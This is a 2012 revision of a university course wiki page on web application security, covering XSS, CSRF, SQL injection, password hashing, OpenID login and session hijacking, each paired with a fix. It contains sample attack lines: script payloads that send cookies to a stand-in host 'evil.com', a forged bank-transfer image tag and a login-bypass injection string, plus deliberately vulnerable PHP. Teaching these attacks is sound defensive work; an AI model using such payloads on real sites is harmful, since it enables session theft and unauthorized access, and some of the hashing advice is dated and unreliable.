Difference between revisions of "Web Application Security, Part 1"

From CSE330 Wiki
Jump to: navigation, search
(Denial of Service)
(Real-Life Examples)
Line 425: Line 425:
=== Real-Life Examples ===
=== Real-Life Examples ===
Application-level session hijacking is not an attack vector frequently observed by high-profile companies, although any site vulnerable to XSS is probably vulnerable to application-level session hijacking.
On the other hand, packet-sniffing session hijacking attacks have numerous examples.  For more information, see [[#Packet Sniffing|Packet Sniffing]].
== Denial of Service ==
== Denial of Service ==

Revision as of 09:05, 18 August 2012

Application-level web security is of increasing concern among web developers. This article outlines some types of security threats to your web application and how to solve those threats.

This is Part 1 of the Web Application Security article, geared toward the material covered in Module 2. For material covered in Module 3 (MySQL), see Web Application Security, Part 2. For material covered in Module 4 (JavaScript), see Web Application Security, Part 3.

Introduction to Application-Level Web Security

Every day, computer hackers around the world penetrate web applications, often for personal profits. You may find it hard to believe, but even high-profile web sites (banks, social media, even computer security companies) are vulnerable to application-level attacks!

Not only is it embarrassing to be the programmer who wrote the vulnerable code, but it could also cost you your job. As a prudent web developer, it is imperative that you take precautionary measures to make your application difficult to penetrate. Indeed, most of the time, if your site is well-written, hackers will just move on.

Here's the golden rule: Anything in your site that accepts user input, whether via a form, an AJAX request, a file upload, or even malformed links, can be used as an attack vector. NEVER TRUST USER INPUT!!! This can be summarized in the acronym FIEO, or Filter Input, Escape Output.

Cross-Site Scripting

TODO: Move this to Part 3.

Cross-Site Scripting, or XSS, is when an attacker targets an area of your application in which user-supplied input is included in application output. The attacker may use JavaScript to read confidential information and send it to his/her own servers.

There are two types of XSS attacks: persistent and reflected.

Persistent XSS

Persistent XSS occurs when a web site stores input in a database and displays it to victims later. A common vector for Persistent XSS are forum posts or shoutboxes.

For example, consider this code:


$res = $mysqli->query("SELECT * FROM shoutbox ORDER BY created_at DESC LIMIT 5");

	echo "<p>".$row["content"]."</p>\n";


In this example, content from the database is displayed verbatim to the end user. This is vulnerable to a Persistent XSS attack. Suppose the attacker, a computer specialist on contract for BuyShoes.com, typed the following code into the shoutbox:

<script> document.location.href = "http:/www.BuyShoes.com/"; </script>

Everyone viewing the shoutbox will now be automatically forwarded to BuyShoes.com! The shoe manufacturers will be pleased, but most everyone else will be annoyed. (Needless to say, XSS can be used for much more malicious things than rogue marketing.)


You need to escape the output. In PHP, you can do this using the htmlentities() function:


$res = $mysqli->query("SELECT * FROM shoutbox ORDER BY created_at DESC LIMIT 5");

	$safe = htmlentities($row["content"]);
	echo "<p>".$safe."</p>\n";


Now, the script would appear as text to the user, and it will not execute. This Persistent XSS threat has been put to rest!

Reflected XSS

Reflected XSS is when a web page accepts input and then displays it immediately as output (without the database intermediate). A common vector for Reflected XSS attacks are search queries.

For example, consider the code:


echo "<h1>Transaction History for: " . $_GET['username'] . "</h1>\n";


This is vulnerable to a Reflected XSS attack. The attacker could trick the victim into visiting this link:


In some ways, this is more mysterious than Persistent XSS, because it's not clear what's going on. But this is the code that will be displayed on the page:

<h1>Transaction History for: mothergoose <script>new Image().src="http://www.evil.com/record_cookie?"+document.cookie;</script></h1>

Aye yie yie!


To fix this, we again need to escape output:


$safe_username = htmlentities($_GET['username']);

echo "<h1>Transaction History for: " . $safe_username . "</h1>\n";


And now our Reflected XSS vulnerability has been put to rest.

Real-Life Examples

Cross-Site Request Forgery

A cross-site request forgery (CSRF, pronounced sea-surf) involves a victim, who is logged in to the targeted site, visiting an attacker’s site. The attacker has code on his site that forces the victim to unwittingly perform actions on the targeted site.

For example, suppose Mother Goose visited Dr. Evil's blog. Dr. Evil had the following tag embedded in his bloc:

<img src="http://www.bank.com/transfer.php?dest=dr-evil&amount=5000" />

This would cause Mother Goose to authorize a $5000 transfer to Dr. Evil, completely without Mother Goose's knowledge!

Worse yet, Dr. Evil could just send an e-mail to Mother Goose with this image tag. All Mother Goose would need to do to be attacked is open the e-mail! (Now you know why sometimes your e-mail client turns off images from suspicious sources.)


The first precautionary measure is to always use POST requests (as opposed to GET requests) for actions that change something on your server. This will fend off all except the most hard-core CSRF attacks.

However, fully preventing CSRF attacks is not difficult. To do this, you can use a CSRF token. A CSRF token is a known string of text that is submitted in all of the forms on your site. If the string is not what you expect, then you can assume that the request was forged.

For example, consider this form:

<form action="transfer.php">
<input type="text" name="dest" />
<input type="number" name="amount" />
<input type="submit" value="Transfer" />

We can easily add a hidden CSRF token field like so (as well as making the form POST rather than GET):

<form action="transfer.php" method="post">
<input type="text" name="dest" />
<input type="number" name="amount" />
<input type="hidden" name="token" value="<?=$_SESSION['token'];?>" />
<input type="submit" value="Transfer" />

This assumes that $_SESSION['token'] contains an alphanumeric string that was randomly generated upon session creation. We can now test for validity of the CSRF token on the server side (in transfer.php):

$destination_username = $_POST['dest'];
$amount = $_POST['amount'];
if($_SESSION['token'] !== $_POST['token']){
	die("Request forgery detected");
$mysqli->query(/* perform transfer */);

Now, if Mother Goose were to view a page containing the malicious <img/> tag, the transfer would not take place.

Real-Life Examples

SQL Injection

TODO: Move this to part 2.

http://imgs.xkcd.com/comics/exploits_of_a_mom.png (TODO: embed image here)

SQL injection occurs when an attacker submits specially-crafted input into your server, which is then included in an SQL query. The input modifies the query to perform additional actions on the database or to access unwanted information.

For instance, suppose you had the following code:

require 'database.php';


$res = $mysqli->query("SELECT id FROM users WHERE username='".$_POST['username']."' AND password='".$_POST['password']."'");

if( $res->num_rows==1 ){
    $row = $res->fetch_assoc();
    $_SESSION['user_id'] = $row["id"];
    echo "Login failed.";

This code is vulnerable to SQL injection. For example, suppose the attacker used the following string of text for his username:

mother-goose' --

Here's what the resulting query would look like:

SELECT id FROM users WHERE username='mother-goose' --' AND password=''

Since -- is the start of a comment in SQL, when MySQL interprets this query, it will completely ignore the password-checking part of the query! Dr. Evil can log in using anyone's username and steal all of their money!


If you write your queries manually (as in the example above), you need to use $mysqli->real_escape_string() to sanitize your input:

$safe_username = $mysqli->real_escape_string($_POST['username']);
// ...

However, the better solution is to use prepared queries. For more information on prepared queries, see MySQL.

Real-Life Examples

Password Security

Let's assume for a moment that despite all of your efforts in the other fronts of web security, an attacker was still able to extract information from your database. If you store your passwords as plain text, not only will the attacker be able to log in as whomever he chooses, but the attacker will also likely be able to log in as the users of your site on different sites (since many users employ the same password on several different web sites).


The types of encryption and encryption algorithms is a whole class to itself.

In CSE330 and future web application development, you should always use one-way encryption to encrypt your passwords. What this means is that you feed a string of text (a password) to an encryption function, and that encryption function returns another string of text that is a digest of the password. It is impossible to mathematically convert a digest back to its associated password, but encrypting the same password will always yield the same digest.

One-way encryption algorithms can also be salted. What this means is that the string to be encrypted is modified by a salt before the encryption occurs. The same salt and the same password will always yield the same digest. Using a salted hashing algorithm is preferable to a non-salted hashing algorithm for passwords because although digests cannot be reversed, non-salted digests can be looked up in a rainbow table.


So, the solution is to store salted, one-way-encrypted passwords in your database. PHP provides the crypt() function to do this for you.

// This is a *good* example of how you can implement password-based user authentication in your web application.

require 'database.php';

// Use a prepared statement
$stmt = $mysqli->prepare("SELECT COUNT(*), id, crypted_password FROM users WHERE username=?");

// Bind the parameter
$stmt->bind_param('s', $user);
$user = $_POST['username'];

// Bind the results
$stmt->bind_result($cnt, $user_id, $pwd_hash);

$pwd_guess = $_POST['password'];
// Compare the submitted password to the actual password hash
if( $cnt == 1 && crypt($pwd_guess, $pwd_hash)==$pwd_hash){
	// Login succeeded!
	$_SESSION['user_id'] = $user_id;
	// Redirect to your target page
	// Login failed; redirect back to the login screen

Note: You may sometimes see functions like md5() used to encrypt passwords. md5() does indeed perform one-way encryption, but it does so without a salt. THIS IS BAD PRACTICE, because unsalted md5 hashes can be trivially reversed using a rainbow table. (Just Google for "md5 decrypter".) Using a salt prevents the effective use of a rainbow table.


One other solution that will solve all issues related to password security is to not have passwords at all. This can be achieved using OpenID, which allows end users to use their accounts from other sites (e.g. Google, Yahoo, and Twitter) to authenticate on your site. Not only does this make your life easier in the security realm, but it also eliminates the need for password recovery, etc.

There are many PHP libraries available for OpenID authentication; one such library is the creatively named OpenID, which you can install using PEAR. You will need to install some other packages first, some from yum (if using RHEL) and some from pear. (If you don't install them, PEAR will yell at you.) These are the commands you need to run in order to install the correct packages (make sure you understand what they do before running them!):

sudo yum install php-mbstring php-bcmath # not necessary on Debian
sudo apachectl graceful
sudo pear install Crypt_DiffieHellman-0.2.6 Validate-0.8.5 Services_Yadis-0.5.1 OpenID-0.3.3

Here's an example implementation that uses the PEAR package.

Login Page:

<form action="process_openid.php" method="post">
	<input id="start" name="start" type="hidden" value="true" />
		<legend>Sign in using OpenID</legend>
		<div id="openid_choice">
			<p>Please select your account provider:</p>
			<select name="identifier">
				<option value="https://www.google.com/accounts/o8/id">Google</option>
				<option value="http://yahoo.com/">Yahoo</option>
			<input type="submit" value="Sign In"/>


require_once 'OpenID/RelyingParty.php';
require_once 'OpenID/Message.php';
require_once 'Net/URL2.php';


$realm = "http://www.yoursite.com/";
$returnTo = $realm . "path/to/process_openid.php";

$identifier = @$_POST['identifier'] ?: @$_SESSION['identifier'] ?: null; // note: the @ signs suppress "undefined" notices

$o = new OpenID_RelyingParty($returnTo, $realm, $identifier);

// Part 1: We are processing a login request before visiting the OpenID provider
if(@$_POST['start']) {
	$authRequest = $o->prepare();
	$url = $authRequest->getAuthorizeURL();
	header("Location: ".$url);

// Part 2: The user is returning to our site after visiting the OpenID provider's site
else {
	$usid = @$_SESSION['identifier'] ?: null;

	$queryString = count($_POST) ? file_get_contents('php://input') : $_SERVER['QUERY_STRING'];
	$message = new OpenID_Message($queryString, OpenID_Message::FORMAT_HTTP);

	$result = $o->verify(new Net_URL2($returnTo . '?' . $queryString), $message);
		// Login Success!
		// Get the OpenID identifier, which is unique to every OpenID user (i.e. you can use it in your database to
		// keep track of people between logins), and save it in the session:
		$_SESSION["openid.identity"] = $message->get("openid.identity");
		// Now redirect to the target page for logged-in users
		// Login Failed.  You can redirect back to the login page or whatever

Disclaimer: OpenID does have security issues in its own right, especially phishing-type vulnerabilities, but they are almost exclusively tied to the OpenID identity providers (Google, Yahoo, etc), not the OpenID relying party (you). Using an SSL connection will help to solve many of these security issues. And ultimately, it's safe to rest assured that profit-driven OpenID providers are quick to respond when such security vulnerabilities are reported.

Real-Life Examples

Here is a constantly-updated list of sites that do not use proper password security: http://plaintextoffenders.com/

Session Hijacking

Session Hijacking is when an attacker captures an established session identifier, and then uses that identifier to browse the targeted site under the victim’s identity. The capturing process is often done via XSS. For instance, suppose Dr. Evil posted the following comment in a Shoutbox:

How about them Cardinals! <script> new Image().src = "http://www.evil.com/record_cookie?" + encodeURIComponent(document.cookie); </script>

Everyone viewing the shoutbox will now see Dr. Evil's shout, but they will also unwittingly have their cookies sent to Dr. Evil's server. Since cookies contain the Session ID, Dr. Evil can use that Session ID to surf the targeted site under anyone's identity.


First, prevent XSS. Once you've done that, there are some extra things you can do to fend off session hijackers.

HTTP-Only Cookies

The first is to use the HTTP Only option on cookies, which prevents cookies from being read by JavaScript (and therefore by XSS). To do this, you can change the session.cookie_httponly option in php.ini, or you can just use ini_set() before you start your session:


ini_set("session.cookie_httponly", 1);



Disclaimer: The HTTP Only option is relatively new in browsers, so customers using older browsers will not enjoy the extra protection.

User Agent Consistency

A second thing you can do to help prevent session hijacking is to check the HTTP User Agent between requests. Since cookies are sandboxed inside a browser, and a browser's user agent doesn't change unless it is rebooted (except in edge cases), then the user agent should always be consistent throughout a session.

You can test for HTTP User Agent consistency like this:



$previous_ua = @$_SESSION['useragent'];
$current_ua = $_SERVER['HTTP_USER_AGENT'];

if(isset($_SESSION['useragent']) && $previous_ua !== $current_ua){
	die("Session hijack detected");
	$_SESSION['useragent'] = $current_ua;


Real-Life Examples

Application-level session hijacking is not an attack vector frequently observed by high-profile companies, although any site vulnerable to XSS is probably vulnerable to application-level session hijacking.

On the other hand, packet-sniffing session hijacking attacks have numerous examples. For more information, see Packet Sniffing.

Denial of Service

Denial of Service (DoS) is probably the most widely used attack vector to date, and the one employed by hacktivist groups like Anonymous. The concept is simple: flood a target server with more requests than it can possibly handle, resulting in server downtime.

A Distributed Denial of Service (DDoS) attack is a special kind of Denial of Service attack that involves multiple, unrelated machines sending requests to the server simultaneously. DDoS attacks are more powerful than "un-distributed" DoS attacks because there are dozens, hundreds, even thousands of machines, all with different IP addresses, all requesting data from your server at the same time; in DoS attacks, there is only one computer doing the attacking. Hacking groups are known to have millions of machines around the world ready to perform a DDoS attack on command. It's a very interesting topic to Google about, but beware that you might spend several hours reading web sites if you start!

There are two flavors that a DoS attack can take:

  • Bandwidth-based: Saturate the connectivity link.
  • Packet-based: Saturate the processing capability of the equipment.

Mitigating DoS Attacks

Unlike the other types of attacks we've discussed (or will soon be discussing), DoS attacks cannot usually be prevented by good coding practices. Here are some tips that should help:

  • Always keep the most up-to-date software on your server and firmware on your router (if applicable).
  • If you represent a firm with a lot of resources, anycast may be an option. Rather than having your site hosted in just one server, the load of your site will be shared between many different servers. Anycast systems are expensive, but they help fend off non-hardcore DoS attacks.
  • You can set up a constellation of reverse proxy nodes. You might also benefit from using a web server like Nginx instead of Apache. For more information on constellation reverse proxy nodes, see: http://blog.unixy.net/2010/08/the-penultimate-guide-to-stopping-a-ddos-attack-a-new-approach/
  • Limit things like file upload size and CGI scripts. These are known to be easy targets for DoS attacks.

In short, DoS attacks are not pretty, and there's not any sure-fire way to prevent them. Just do your best and hope that you don't get attacked by DoS.

Real-Life Examples

Content Spoofing

Packet Sniffing

Information Leakage

Session Fixation

Abuse of Functionality

Server Configurations

Sometimes hackers attempt to penetrate your application from the server side rather than the application side. Server-side security is beyond the realm of this course, but here are some things you should keep in mind.

  • Use a highly secure root password, and it should be one that you don't use anywhere else. Seriously.
  • Use a firewall system to block unnecessary ports from public access. SSH and Web Server should really be the only ports you need. You should keep the web serve on port 80, but you have the option of moving SSH to a port other than 22 to make it slightly more secure.

Real-Life Examples

TODO: Get video from http://fileice.net/download.php?file=r426